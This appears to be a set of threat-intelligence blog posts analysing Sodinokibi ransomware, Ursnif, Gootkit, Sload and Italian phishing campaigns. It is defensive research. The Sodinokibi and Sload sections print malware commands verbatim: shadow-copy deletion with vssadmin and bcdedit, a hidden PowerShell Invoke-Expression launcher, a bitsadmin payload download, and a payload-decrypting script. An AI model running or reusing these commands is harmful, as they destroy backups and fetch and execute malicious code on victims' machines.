Read this page in English. | Leggi questa pagina in English.


Hi everyone! Today we are looking at a threat that appeared recently: a new ransomware called Sodinokibi.


  1. The Threat
  2. The Loader
  3. Mutex and Configuration
  4. Machine information recovery
  5. Encryption preparation inspired by GandCrab
  6. Ransomware attack
  7. C2 Registration
  8. Conclusion

1. The Threat

The first noteworthy appearance was at the end of April (Talos Research).

Then, at the start of this month, we gathered different reports of this threat being spread in Italy (eg: JAMESWT_MHT's tweet), both via malspam and known server vulnerabilities.

Also, there was the announcement of the shutdown of the GandCrab Operation (Bleeping Computer), just some days earlier.

Coincidence? We’ll see.

Our guess is that this new payload could be used as a replacement of GandCrab in the RAAS (Ransomware-as-a-service) panorama.

Therefore, in order to protect our customers effectively, we went deep into the analysis of this ransomware.

Mainly we analyzed two different samples:

  • version 1.01: md5: e713658b666ff04c9863ebecb458f174
  • version 1.00: md5: bf9359046c4f5c24de0a9de28bbabd14

2. The Loader

Like every malware who deserves respect, Sodinokibi is protected by a custom packer that is different for each sample.

The method used by the version 1.01 sample to reconstruct the original payload is called “PE overwrite”.

To perform this technique, the malicious software must allocate a new area inside its process memory and fill it with the code that has the duty to overwrite the mapped image of the original file with the real malware payload. In this case, first the process allocates space in the Heap via LocalAlloc, then it writes the “unpacking stub” code, it signs that space as executable with VirtualProtect and finally it redirects the execution flow to the new memory space

In order to slow the analysis, the loader contains a lot of junk code that will be never executed.

Also, in the following image, we can see that it tries to hide some important strings from the static analysis like “ kernel32.dll”. It leverages “stack strings” plus the randomization of the order of the characters.

At this point, the unpacking stub resolves dynamically the functions that he needs like VirtualAlloc. Then it performs the overwrite of the original image base with the new decrypted payload.

Finally, it transfers the execution to the OEP (Original Entry Point) of the unpacked Sodinokibi payload.

3. Mutex and Configuration

Once unpacked, the sample tries to create a mutex object. It calls CreateMutexW, then, if there was an error, with RtlGetLastWin32Error it would extract the generated error. Indeed, if the mutex already existed, the error would have been “0xB7” ("ERROR_ALREADY_EXISTS" ref docs). In that case a function is called that terminates the process.

We found that the mutex name is different for each sample but following this pattern: “Global\{UUID}”. Therefore it’s a method to detect the malware or to vaccinate the endpoint (Zeltser blog) that is reliable only for a specific sample.

Going forward, we found the configuration in an encrypted form in the section “ .zeacl” for v.1.01 or “.grrr” for v.1.00. Once extracted, we noticed that it’s a JSON file.

These are the keys found in the configuration.

  • pk” -> base64 encoded key used to encrypt files
  • pid” -> personal id of the actor
  • sub” -> another id, maybe related to the specific campaign
  • dbg” -> debug mode
  • fast” -> fast mode
  • wipe” -> enable wipe of specific directories
  • wht” -> whitelist dictionary
    • fld” -> keyword in whitelisted directories
    • fls” -> whitelisted filenames
    • ext” -> whitelisted file extensions
  • wfld” -> directories to wipe
  • prc” -> processes to kill before the encryption
  • dmn” -> domains to contact after encryption
  • net” -> check network resources
  • nbody” -> base64 encoded ransom note body
  • nname” -> ransom note file name
  • exp” -> unknown, expert mode?
  • img” -> base64 encoded message on desktop background

If you are interested in manually checking the configuration files we have extracted in the samples we have analyzed, follow this link and download the archive (password:sodinokibi):

4. Machine information recovery

Afterwards, Sodinokibi starts to gather information about the infected machine and builds another JSON structure that stores in an encrypted form in the “HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat” registry key.


  • ver”: version (100 or 101)
  • pid”: previous config “pid”
  • sub”: previous config “sub”
  • pk”: previous config “pk”
  • uid”: user ID. It’s a 8 byte hexadecimal value generated with XOR encryption. First 4 bytes are created from the processor name, while the others are created from the volume serial number extracted with a “GetVolumeInformationW” API call.

  • sk”: secondary key, base64 encoded key generated at runtime
  • unm”: username
  • net” : hostname
  • grp”: windows domain

  • lng”: language

  • bro”: brother? Sodinokibi retrieves the keyboard language with GetKeyboardLayoutList. Then it implements an algorithm that gives “True” as value for this key only if the nation code ends with a byte between 0x18 and 0x2c. It’s not odd that inside this range there are the majority of the East-Europe language codes, like Russian, Cyrillic and Romanian. It’s a clear indication of the origin of the malware authors.

  • os”: full OS name

  • bit”: Sodinokibi extracts this value from “GetNativeSystemInfo” then it compares with 9 that corresponds to the x64 architecture. Further processing will generate “40” if the architecture is 64bit, “56” otherwise.

  • dsk”: base64 encoded value generated based on the drives found on the machine.
  • ext”: new in 1.01. The random extension used for encrypted files.

5. Encryption preparation inspired by GandCrab

At this time, before performing the encryption, Sodinokibi replicates a behavior that is very similar to what GandCrab performs, suggesting that Sodinokibi authors learned from GandCrab ones or that they are strictly related.

Sodinokibi extracts the running processes with the combination of CreateToolhelp32Snapshot, Process32First and Process32First and checks if they match the names in the configuration. In that case, those processes are killed. The reason is that these programs could hold write access on files and therefore they could not allow the ransomware to encrypt them.

The list of the version 1.00 contains only the “mysql.exe” process, while the list of the version 1.01 is a lot longer and almost matches the ones used by GandCrab (source: Symantec).

Afterwards, like his predecessor, Sodinokibi deletes the shadow copies with the leverage of the “vssadmin” native utility. In addition, it uses “bcdedit” to disable windows error recovery on reboot.

cmd /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {{default}} recoveryenabled No & bcdedit /set {{default}} bootstatuspolicy ignoreallfailures

Another check done by the ransomware is for available network resources with WNetOpenEnumW e WNetEnumResourceW with the aim to find other files to encrypt.

Last operation before the encryption is to find all the directories with a name that matches the configuration key “wfld” and to wipe them. In this case, the list contains only “backup”. So, for example, Sodinokibi deletes Windows Defenders updates backups.

6. Ransomware attack

Finally (or not?) Sodinokibi starts to iterate over the available directories with FindFirstFile and FindNextFile.

It skips files and directories that match conditions on the whitelist configuration. The others are encrypted by the ransomware that adds the random generated key as extension to the name.

In each directory the malware also write the ransom note “{ext}.readme.txt” extracted from the configuration and a lock file.

Then it creates a file with a random name “{random}.bmp” in the %TEMP% which contains the image that will be put as a background with the help of DrawTextW and FillRect functions.

7. C2 Registration

Once the encryption is finished, Sodinokibi starts to iterate through a giant list of domains hardcoded in the configuration (about 1k). These domains are the same across the samples we analyzed but they are ordered differently in order to mislead the analysis.

At a first glance, these domains seem legit and most of them are correctly registered.

This is not a classic DGA but the result is almost the same because the purpose is to hide the real C&C Server used by cyber criminals.

For each domain listed, Sodinokibi generates a random URI. Then it uses the winhttp.dll library functions to perform HTTPS POST requests with the created URLs.

The data sent with the POST request is an encrypted form of the JSON configuration saved on the “HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat” registry key and described on the “Machine information recovery” section. In this way, malicious actors can collect important information of the infected machine.

The following are examples of some of these URLs:


Looking at an analysis of this sample in a sandbox (AnyRun), we noticed that HTTPS requests where not correctly listed. The malware can avoid traffic interception by proxies like Fiddler or Mitmproxy that are used for manual or automatic analysis.

How? The second parameter of the WinHttpOpen function is 0 which corresponds to “WINHTTP_ACCESS_TYPE_DEFAULT_PROXY”: this means that the configured proxy is skipped and the HTTP connection won’t be logged. This trick could mislead the analysis if not properly handled.

I suggest to read the following blog post where it’s further explained how these URLs are generated and why also this routine is inspired by GandCrab code: Tesorion analysis

8. Conclusion

Sodinokibi could be the heir of GandCrab. It’s still at version 1.01 so maybe it’s not mature yet but is actively developed and updated

Malicious actors have started to use Sodinokibi to generate profit, even in Italy.

It’s important to continuously monitor your own assets, both on a network and an endpoint level, to fight against these kind of threats.

Certego Threat Intelligence Team has been studying upcoming cyber threats for years in order to provide the best protection to their customers.



About the author

Matteo Lodi, Cyber Threat Intelligence Team Leader



Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Today we are going to talk about one of the biggest threats that is spreading in these days, in particular in Italy: Dreambot, the most recent version of a malware also known as Ursnif or Gozi.


  1. The Threat
  2. The Check-In phase
  3. Encryption routine
  4. Injected Internet Explorer? Or not?
  5. Conclusion

1. The Threat

Ursnif belongs to the category of Infostealers. It was already analyzed by a lot of skilled researchers. I list just some of the best analysis you could find:

In this article, we'll focus on the initial communication with the Command & Control infrastructure.

2. The Check-In phase

At the time of the compilation of the malware, spreaders can choose a list of domains that will be hardcoded in the sample in an encrypted form.

For example, the following image shows 3 different domains uploaded into the memory of one of the variant that we analyzed.

The malicious agent tries to perform its initial communication with the first of the list, then, if it fails, it would try with the next and so on.

We underline that this "beacon" is always performed via plain HTTP while the following steps of communication are done via SSL encryption and custom certificates.

This is important because, with the right eye, even without SSL interception, we can pretty easily spot if something is going wrong.

The following image shows 3 different attempts to communicate with the C2 server in a sandbox environment. 

If the pattern is not known, an untrained analyst could be misleaded by this behaviour while performing threat hunting on network logs or artifacts.

The file extension ".avi" refers to video files. Also, the path "/images/" is deceptive. In addition, it's performed as a "GET" request. All of this evidence could be seen as a normal download of a video file from a site hosting media.
In fact it's the check-in of the malware that is sending basic information about the compromised machine, hiding them in plain sight in the URI path.



Decoded data:

  • fjidtflrb -> junk param, always present at the start of the URI to generate randomness (and always different)
  • soft -> major version
  • version -> minor version
  • user -> unique user id
  • server -> unique c2 server id
  • id -> bot group id
  • crc -> payload to retrieve (1-DLL 32bit, 2-DLL64 bit, 3-ps1)
  • uptime -> time elapsed from initial infection (seconds)

The following image represents the phase when the malware creates the first parameter:

After having seen a lot of this kind of patterns on Ursnif samples in last years, I decided to create a simple and raw tool that is able to decrypt the URL created by the malware on the fly.

In this way it's possible to spy the configuration sent to the Command & Control server and, at the same time, to check if the URL is related to this threat. 

All of this without any need of manual reverse engineering.

You can check the simple tool that I created on the following link on: Github

This is an example of how to run the script:

python3 -u "" -k "10291029JSJUYNHG"

and the relative output:

[2019-04-15 11:24:25 - INFO] c2 domain: ''
[2019-04-15 11:24:25 - INFO] path to analyze: /images/NM_2Ff8mqmMQjmr/c842xf8TIJp_2FlmC5/Ulz244kFh/KMjQpHVvOnBhk6eOvBBW/R_2FCf2Bk9wZXqeGcBS/IAHu5OfIJa7Y941YuvL1XM/i2RXCwmaVXV_2/ByGxravm/Dt1GoxZJ9b2BbnKWLrfphW9/8pKXBhb9Yi/n0AEln6Sc_2BilzFW/k_2B_2Fy1/Q3.avi
[2019-04-15 11:24:25 - INFO] Congrats! decoded data: fjidtflrb=bdaxhhfg&soft=3&version=217173&user=a618b5f78c4ff30be60d08c7ba561278&server=12&id=3274&crc=3&uptime=11

3. Encryption routine

The custom algorithm starts with a symmetric encryption that leverages the Serpent cipher in CBC mode and a null IV (initialization vector). 

Afterwards the result is encoded with a classic base64. Considering that base64 encoding is pretty easy to spot, malware authors decided to change things a little more. They removed padding characters("=") and substituted the other special characters ("+", "/") with the relative ASCII code, after having prepended them by an underscore ("_2f", "_2b"). The last tweak is to add slashes at specified offsets to let the URI to appear like a real one.

Obviously, the Serpent encryption needs a key. We can find it hardcoded on the malware sample. Some code level analysis could be required to get that info.

However, observations led to the fact that the key is usually shared among a lot of samples and rarely changed.

If you don't have one, just run the script: it would try a predefined list of known keys for you.

It's really appreciated if you want to share new keys that you find with us. Feel free to contact us on Twitter or LinkedIn

4. Injected Internet Explorer? Or not?

While investigating the check-in phase, we noticed an unusual fact that we think it's worth to mention.

As you can see from the analysis of AnyRun, the malicious beacon seems to be sent by an Internet Explorer instance after the malware has run.

Considering that Ursnif is known to perform injection on browsers to steal information, an unaware analyst could think that the malware already decided to perform some form of memory injection into a new spawned instance of Internet Explorer to masquerade the communication as a legit one.

However this is unecessary. It's enough to use the COM (Wikipedia) library that is provided by Microsoft.
Looking at the code, we can detect this behaviour with the finding of the function CoCreateInstance that were made just before the network communication.

This one is a stealthy way that could mislead both analysts and security products if it has not been taken in consideration.

If you like to have a more detailed explanation on COM and, in general, on how to detect malware C2 communications while reverse engineering, I suggest the following reading: FireEye Blog


Ursnif has been trying for years to make analysis difficult for people and detection for security products.

We went deep into the communication performed during the check-in phase and created a new tool to help to analyze and detect the malware.

Certego is actively monitoring every day threats to improve its detection and response methods, continuously increasing the effectiveness of the incident response workflow.


About the author:

Matteo Lodi, Cyber Threat Intelligence Team Leader 

If you know something more about protocols used by Ursnif for C2 communications or if you'd like to improve the tool(Github), feel free to contact me at any time.



Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Today we are going to start a new series of blog posts called “Malware tales”: the intent is to go deep on code-level analysis of most widespread malware to allow everyone to get a better picture of everyday cyber threats. Also, we’d like to demystify malware and show that we are just talking about a bunch of code


  1. The Threat
  2. Payload delivery
  3. Gootkit executable
  4. Stage 1: Packed Gootkit
  5. Stage 2: Gaining a foothold
  6. Stage 3: Check-in phase
  7. Last stage
  8. Additional findings
  9. Conclusions

The Threat:

Gootkit belongs to the category of Infostealers and Bankers therefore it aims to steal information available on infected machines and to hijack bank accounts to perform unwanted transactions.

It has been around at least since 2014 and it seems being actively distributed in many countries, including Italy.

Previous reports about this threat can be found following this link:Malpedia

Today we are going to dive into the analysis of a particular variant that came up the last week.

Payload Delivery:

The infection vector is an email written in Italian. In this case adversaries used one of the most common social engineering techniques to trigger the user to open the attachment.

The downloaded file is a heavily obfuscated Javascript file called "GLS_Notifica.js". If the user opens it, the native Javascript interpreter wscript.exe would be executed by default and it would perform the following HTTP request:


The result is the download of a cabinet file that is an archive file which can be extracted natively by Windows. Inside there is a Portable Executable file that is saved into the %TEMP% folder (“C:\Users\<username>\AppData\Local\Temp”) and launched.

Javascripts downloaders are a common payload delivery because a little obfuscation can be enough to make them very difficult to be detected by antivirus engines.

Gootkit executable:

First run of the sample in an automated environment revealed that something new was added in this version. As we can see in the following images, malware authors added a new layer of protection to the malicious agent. The comparison has been made with a variant spread during December of 2018 in Italy. (images are from AnyRun)

This means that the original program was “packed” with the aim to slow down reverse engineers and to make ineffective static analysis tools like Yara rules.

Stage 1: Packed Gootkit

In such cases, a malware analyst knows that he has to extract the original payload as fast as possible without losing time to try to understand the inner workings of this stage.

A great open-source tool exists which can resolve the problem in a matter of seconds. It’s called PE-Sieve (Github). Even though it does not always work, in this case it can dump the unmapped version of the original executable because the malicious software uses a technique called Process Hollowing a.k.a. RunPE. This method consists in starting a new process in a suspended state, “hollowing” out the content of the process, replacing it with malicious code and, finally, resuming the thread.

In the image we can see that the 6th parameter of "CreateProcessW" was set to "4", indicating that the process will start in a suspended state.

We are talking about a well known technique that is easily detectable with the monitoring of the Windows API calls that are needed to perform the injection. But here comes the trick.

Following the flow of execution we couldn’t find all the needed API calls: we got NtCreateProcess, NtGetContextThread, NtReadVirtualMemory and NtSetContextThread.

The most important ones that are used by monitoring applications to detect the technique were missing:

  • NtUnmapViewOfSection to “hollow” the target process
  • NtWriteVirtualMemory to write into the target process
  • NtResumeThread to resume the suspended thread

Let’s find out what’s happening!

After some shellcode injections inside its memory space, the process executes a call to IsWow64Process API that is used by the application to understand if the process is running under the WOW64 environment (Wiki): this is a subsystem of the Windows OS that is able to run 32-bit applications, like this one, on 64-bit operating systems.

The result of this check is used to run two different paths of code but with the same scope: run one of the aforementioned missing API calls in the Kernel mode. This means that, in this way, classic user-level monitoring tools would not catch these calls and the RunPE technique would remain unnoticed.

Specifically, in case the process is running in a 32-bit environment, it would use the SYSENTER command to switch into the Kernel mode, while, on the contrary, it would use the SYSCALL command to perform the same operation.

To complicate even further, the SYSCALL command can’t be called in the context of a 32-bit application. This means that the executable needs to perform a “trick-into-the-trick” to execute this operation. We are talking about a technique known as The Heaven’s Gate.

Practically, thanks to the RETF instruction, it’s possible to change the code segment (CS) from 0x23 to 0x33, de facto enabling 64-bit mode on the running process.

In the following image we highlight the entrance and the exit of the “Gate” which contains the 64-bit code that performs the SYSCALL operation.

Instead, in this other image, we can see the process status before opening the gate (grey=suspended process) and after having closed it (orange=running process).

Also, Gootkit takes advantage of The Heaven’s Gate as an anti-debugging technique because the majority of commonly used debuggers can’t properly handle this situation, not allowing the analyst to follow the code of the Gate step-by-step.

For further details, this method was deeply explained in this blog (MalwareBytes)

Going back to the point, the first stage resulted more complicated than expected because it pushed over the limits of obfuscation and stealthiness with the combination of various techniques.

Stage 2: Gaining a foothold

At this point we can proceed with the analysis of the unpacked Gootkit.

The very first considerable finding was the check for the existence of a mutex object named “ServiceEntryPointThread”. If it exists, the process would terminate itself.

But how mutexes works? Mutexes are used as a locking mechanism to serialize access to a resource on the system. Malware sometimes uses it as an “infection marker” to avoid to infect the same machine twice. The fascinating thing about mutexes is that they are a double-edged weapon: security analysts could install the mutex in advance to vaccinate endpoints. (ref: Zeltser blog)

This means that this is a great indicator of compromise that we can use not only to detect the infection but also to prevent it.

Moving on, we found that malware authors implemented a lot of checks to understand if the malware is running inside a virtual environment. Some of them are:

  • It checks if the registry key “HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString” contains the word “Xeon”

  • it checks if the computer name is “7SILVIA” or “SANDBOX”, if the username is “CurrentUser” or “Sandbox” or if “sbiedll.dll” has been loaded.

  • it checks if “HKLM\HARDWARE\Description\System\VideoBiosVersion” contains the word “VirtualBox”

  • it checks “HKLM\Software\Microsoft\Windows\CurrentVersion\SystemBiosVersion” for the string “VBOX”

In the case one of this check fails, the program would execute a Sleep operation in a infinite cycle in the attempt to thwart automated sandbox execution.

After that, we encountered the implementation of a particular persistence mechanism that it seems Gootkit has been using for many months: it’s already documented in various blog posts, for ex. ReaQta blog.

Briefly, the infostealer generates a INF file with the same filename of itself.

Content of the INF file:

Then it creates 3 different registry keys (“Count”, “Path1” and “Section1”) inside “HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs” with the purpose to allow the threat to execute on reboot.

It seems that this technique was reported to be used only by Gootkit.

Famous security tools still can’t detect this mechanism even if it has been used for months.

For example, the famous SysInternal Autoruns tool, that should be able to show all the programs that are configured to run on system bootup or login, fails the detection of this persistence method.

Stepping through the code, we noticed that, at runtime, Gootkit decrypts the strings it uses with a custom algorithm to evade static analysis detection of anomalous behaviour.

It’s a combination of “stack strings”, XOR commands and the modulo operation.

An exhaustive explanation of the decryption routine can be found here:link

Skipping further, eventually there’s a call to “CreateProcessW” to start a new instance of Gootkit with the following parameter: --vwxyz

Stage 3: Check-in phase

Quickly we found out that executing the malware with the cited parameter allows us to skip all the previous anti-analysis controls to get into the part of the code that starts to contact the Command & Control Server.

The first check-in to home is done to the following URL via HTTPS:

GET hxxps://avant-garde[.]host/rbody32

As we can see from the image, many headers were added to the request to send different informations of the infected machine to the C&C Server.

In particular one of the headers caught my attention: “ X-IsTrustedComp”. Digging into the code we found that the value would be set to “1” if an environment variable called “crackmeololo” was found in the host, “0” otherwise.

That seems another “escaping” mechanism implementing by the author, probably to stop the infection chain for his own debugging purposes.

Last stage:

The response that arrives from the previous connection contains the final stage of Gootkit, configured to work properly on the infected machine.

The malware dynamically loaded “RtlDecompressBuffer” call to use it to decompress the payload; then, it injected into an area of the current process memory.

Afterwards the flow of execution is transferred to the start of the injected code.

The final payload is a DLL file that is bigger than 5MB because it contains the Node.js engine which is probably needed to run some embedded javascript files. At this time we decided to stop our analysis and leave the rest to future work.

Additional findings:

While debugging, we noticed that Gootkit does not check only if a parameter called “ --vwxyz” was passed to the command line. Also it checks if other 3 parameters:

  • --reinstall

  • --service

  • -test

Pretty strange thing. We haven’t found the malware to actively use these arguments yet. However, stepping through code we discovered that:

1 - the “--reinstall” command leaded the execution to some curious code. First, the malware used “CreateToolHelp32Snapshot” to retrieve a list of the current running processes.

Then, it iterated through the retrieved list via “ Process32FirstW” and “Process32NextW” with the aim to get a handle to the active “explorer.exe” instance.

At this point it killed “explorer.exe”. The following image shows the process list before the “TerminateProcess” command.

After having executed that command, we found that a new instance of the malware spawned as a child of “explorer.exe”.

What happened? We performed some tests and it seems that “ explorer.exe” was killed and then automatically restarted by “winlogon.exe”. Therefore “explorer.exe” accessed the keys involved in the persistence mechanism previously explained:

Using this trick, the malware is able to “reinstall” itself, without the need to use suspicious API calls like “ CreateProcessW”.

2 - the “ --service” command did not change the flow of execution with the exception of creating a new environment variable called “USERNAME_REQUIRED” and set it to “TRUE”.

Eventually we found that the final stage checks if the aforementioned variable exists.

3 - the “ -test” command just terminate the process. Indeed it’s a test.


We explored some of the functionalities of one of the most widespread Infostealers of these days, revealing new and old tricks that is using to remain undetected as much time as possible.

Certego is actively monitoring every day threats to improve our detection and response methods, continuously increasing the effectiveness of the incident response workflow.

PS: Let us know if you liked this story and feel free to tell us how we can improve it!


gootkit 1st stage
gootkit 2nd stage
gootkit DLL module

About the author:

Matteo Lodi, Cyber Threat Intelligence Team Leader


Licenza Creative Commons
Quest'opera è distribuita con Licenza Creative Commons Attribuzione - Non commerciale - Non opere derivate 4.0 Internazionale.

Hi everyone, here is Matteo Lodi, Threat Intelligence Analyst in Certego.

Recently, we saw a particular new spam campaign targeting italian users with the focus of delivering a downloader known as Sload.

Nowadays, attackers are trying harder and harder to make difficult the analysis and the detection. The most common tool misused in this way is Powershell: it's installed by default in every recent version of Windows and is commonly used to perform administrator tasks.

The infection chain

Let's dig in the infection chain:

1. User receives an email with subject "<TARGET_COMPANY_NAME> Emissione fattura <random_number>" containing a reference to a fake invoice.

The user is tricked to click on the malicious link that points to a randomly generated domain hosted with HTTPS in 91.218[.]127.189. The following is an example:


2. Once downloaded, if the user opens the archive, it would find two files. The first one is a legit image, while the second one is a .lnk file. We have already seen the misuse of shortcut files with powershell. But this time it seemed different: in fact, the .lnk points to the following command:

cmd.exe /C powershell.exe  -nop -eP ByPass -win hi"d"den -c "&{$9oc=get-childItem -path c:\users\* -recurse -force -include documento-aggiornato-novembre-*.zip;$7ig=get-content -LiteralPat $9oc.fullname;$7ig[$7ig.length-1]|iex}"<br />

3. Where is the download? At first glance, that seemed very strange. After having analyzed the command, the trick was clear. The attackers wants to call "Invoke-Expression" command to run a string hidden inside the zip itself!! But where?

As we can see in the following image, at the end of the original downloaded zip file we can see readable strings that are the real first stage downloader!!

The zip file is still a legit and correctly working archive!

4. The extracted command is the following:

"C:\WINDOWS\system32\cmd.exe" /c echo 1 > C:\Users\REM\AppData\Roaming\<UUID>\d  & bitsadmin /wrap /transfer fredikasledi /download /priority FOReGrOUnd "" C:\Users\REM\AppData\Roaming\<UUID>\fCBvxsTUjdWwkO.ps1 & del C:\Users\REM\AppData\Roaming\<UUID>\d & exit

5. The result is the download and the execution of another powershell script from a server hosted in 185.17[.]27.108. We saw different domains used but, in the last week, the Dropzone IP never changed. Also, we noted that the CnC server was blocking requests without the "Microsoft BITS/7.5" User-Agent to prevent unwanted download by non-infected machines.

This script was very well detected by antivirus engines as you can see in the following image!

How funny was I? Static analysis is completely useless in such cases.

Going forward, the malware drops the following items before deleting itself:

web.ini -> encrypted config file which stores second stage CnC servers URLS

config.ini -> encrypted file which contains the final powershell payload

<random_name>.vbs -> vbs script, next stage

<random_name>.ps1 -> called by the .vbs

Therefore it registers a service called "AppRunLog" to maintain persistence

6. At the end, it calls the registered task. This will execute the dropped Visual Basic Script file that, in turn, will execute the dropped Powershell script:

param ([string]$k = "");$jjyd=Get-Process -name powershell*;if ($jjyd.length -lt 2){$asdfasdf = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;$log = $env:APPDATA+"\"+$asdfasdf;$key=$k -split "," ;$Secure= Get-Content $log"\config.ini";$Encrypted= ConvertTo-SecureString $Secure -key $key;$slStr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);$rStr = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($slStr);Invoke-Expression $rStr;}

This script parses arguments and it won't execute properly in case they are not what it expects. It needs the numbers from 1 to 16 as arguments because, in fact, they are the key to decrypt the last stage.

7. The final payload is decrypted from the "config.ini" file and is called with "Invoke-Expression". It's loaded directly in memory: this makes very difficult for antivirus products to detect the threat. At the moment, this execution method is widely known as "fileless" because, indeed, the malware is never written on disk.

The payload is the last (finally) powershell script: it is the real Sload downloader which performs various malicious steps that were already explained in details in the article written by Proofpoint.

In few words, Sload can:

  1. Load external binaries
  2. Take screenshots
  3. Update configuration and CnC servers
  4. List running processes
  5. Detect Outlook usage

The variant we spotted in the last week uses the following CnC domains, which resolve in the same IP used by the second downloader stage (185.17[.]27.108)

ljfumm[.]me (HTTPS)
hamofgri[.]me (HTTPS)

However, we expect that this configuration won't last long, because, as we said before, Sload is able to update his CnC servers at any time.


We had a fantastic journey that made us understand, hopefully, how powerful can be Powershell and how attackers are misusing this tool to evade analysis detection.

We analyzed 5 different powershell scripts and that was only the "downloader" phase of the infection.

In case of a successfull one, Sload was seen to download known malware like Ramnit, Gootkit, DarkVNC or Ursnif (reference: Proofpoint). At that stage the threat would be really important.

Certego is monitoring the campaign and it's updating its signatures to correctly detect possible infections.


First stage download: (many and changing fast)

Second stage download: (many and changing fast)

CnC servers: (stable through the last week)

Nelle ultime settimane i sistemi di monitoraggio Certego hanno rilevato un significativo aumento nella diffusione del malware Ursnif.

Questo aumento è dovuto al particolare sistema di spear phishing recentemente impiegato per diffondere tale malware. Questo sistema, già segnalato lo scorso Novembre da Barkly e ripreso questo mese da LibraesvaMetis, si basa su una tecnica che possiamo definire di thread injection: la vittima si vede recapitare un messaggio email come risposta ad una precedente conversazione con un suo contatto, con tanto di citazioni dei messaggi precedenti e firma del mittente, in cui si invita l'ignaro e fiducioso destinatario ad aprire il documento allegato.

Come è facile immaginare, l'allegato in questione, spesso in formato doc di Microsoft Word, in questione contiene in realtà delle MACRO il cui scopo è scaricare da un server remoto una copia del malware Ursnif e così infettare un altro host.

Come anticipato, i vantaggi di questa tecnica di phishing sono evidenti: il rapporto di fiducia che esiste tra le utenze riduce l'attenzione della vittima finale quando questa riceve il documento malevolo. Esiste però anche un altro vantaggio rispetto allo spam "tradizionale": si vengono a colpire esclusivamente utenti attivi e, contemporaneamente, si aggirano i sistemi di raccolta passivi dello spam.

Tuttavia, finora non si avevano prove certe su come operasse il malware per recuperare tali informazioni. Essendo Ursnif un malware la cui principale funzione consiste nel manomettere le connessioni verso i siti bancari (session hijacking), era abbastanza facile supporre che effettuasse la stessa operazione verso i client di posta e/o le webmail; così da raccogliere alcune conversazioni e inviare le mail di phishing sopra descritte. Il malware è così riuscito a trasformare le sue vittime in complici, per quanto ignari, della sua propagazione.

In questi giorni è però emerso un fatto interessante. Durante la sua attività di analisi di un esemplare di Ursnif, il ricercatore noto come  JAMESWT ha individuato su uno dei server utilizzati per distribuire gli eseguibili del malware una cartella contenente numerose informazioni relative ad account di posta.

L'analisi del contenuto della cartella indicata da JAMESWT ha portato alla luce una serie di file testuali in cui erano presenti accurate informazioni per accedere a diversi account di posta compromessi. Per ciascuna utenza sono riportati: nome utente, password, indirizzo del server email e protocollo di accesso.


Poco tempo dopo la segnalazione, i file con le credenziali compromesse sono stati rimossi dal server.

Questo rilevamento ci permette di affermare che, per quanto riguarda le campagne attualmente in atto, i responsabili della diffusione del malware Ursnif abbiano completo accesso e disponibilità delle caselle di posta delle loro vittime, senza alcuna necessità di utilizzare bot o strumenti di intercettazione. Inoltre, espone tutti i contatti delle vittime ad attacchi di spear phishing tramite thread injection, come quelli sopra descritti.

Analizzando alcune mail appartenenti a queste campagne in cerca di anomalie, abbiamo rilevato che il bounce address non corrispondeva con l'indirizzo presumibilmente compromesso. Il controllo degli header Received delle mail ha confermato che il server da cui venivano trasmesse queste mail apparteneva all'organizzazione del bounce address. In base a questo possiamo dire che, al momento in cui scrivamo questo articolo, gli account compromessi non vengano utilizzati per inviare attivamente le mail di phishing. Molto probabilmente si tratta di una scelta ponderata da parte degli attaccanti, in modo da aggirare eventuali filtri in uscita da parte dei server delle loro vittime: infatti un errore di consegna potrebbe allarmare l'utente (o il responsabile della gestione della mail aziendale) che andrebbe quindi in cerca di anomalie, utilizzando invece mail server di una terza parte si evitano questi "inconvenienti".

Il miglior modo per difendersi da questo genere di attacchi è non abilitare in alcun caso le MACRO di qualunque documento ricevuto via mail (o tramite link ricevuti via mail). È comunque importante possedere, e mantenere aggiornato, un buon sistema di difesa sia perimetrale (antispam, firewall) che locale (antivirus), così da ridurre il rischio e contrastare eventuali infezioni.

La piattaforma di Threat Intelligence Certego sta osservando alcune campagne di SPAM che utilizzano file con estensione .url come first-stage downloader per diffondere malware e aggirare i filtri anti-SPAM.

Cosa sono i file .url? Questo tipo di file viene normalmente utilizzato dai sistemi operativi Windows per salvare un collegamento a un sito web, in modo da poter essere facilmente acceduto tramite un semplice click. Di per sé non sono quindi file pericolosi, tuttavia possono essere abusati per la creazione di link malevoli.

La particolarità di questa campagna non risiede solo nell'utilizzo di questo particolare tipo di file, ma anche in come questi siano stati configurati. Infatti, tutti i campioni finora analizzati riportavano URL particolari, in cui lo  schema utilizzato non è il ben noto e diffuso http (o https). Viene invece utilizzato file.

Cosa comporta lo schema file? Questo schema solitamente viene utilizzato per l'accesso al filesystem locale. Può essere anche utilizzato con filesystem remoti, che su Windows vengono acceduti tramite il protocollo SMB.

Si tratta quindi di una nuova tecnica di diffusione di malware, sfruttando il protocollo SMB come canale d'ingresso.

Come funziona questo attacco? Come in tutte le campagne di spam, la vittima riceve una mail che annuncia la comunicazione di un documento contenuto nell'archivio ZIP allegato ad essa.

Una volta estratto il contenuto dello ZIP, l'utente si trova di fronte a quello che appare come un collegamento ad una cartella di Windows (in effetti è proprio di questo che si tratta!).
Una volta cliccato sull'icona l'host tenta di stabilire una connessione SMB con il server controllato dall'attaccante. Questi invia un file JScript che, una volta ricevuto, richiede all'utente se essere eseguito o salvato.

Il file JScript rappresenta il second-stage downloader: questo si collega a un altro server remoto da cui scarica un file eseguibile contenente altro codice malevolo.
Nei casi finora osservati, si è trattato di una variante del malware Quant Loader, il cui scopo è quello di assicurarsi persistenza sull'host e di scaricare altro malware (third-stage downloader).

Come ci si può proteggere da questo tipo di attacco?

 Come per tutti gli attacchi condotti tramite mail la prima linea di difesa è costituita dai filtri anti-SPAM. La componente preponderante però restano gli utenti, poiché senza il loro intervento questo genere di attacchi non potrebbe andare a buon fine; è quindi importante che questi siano istruiti sul fenomeno.

oggetti utilizzati

Continua a leggere

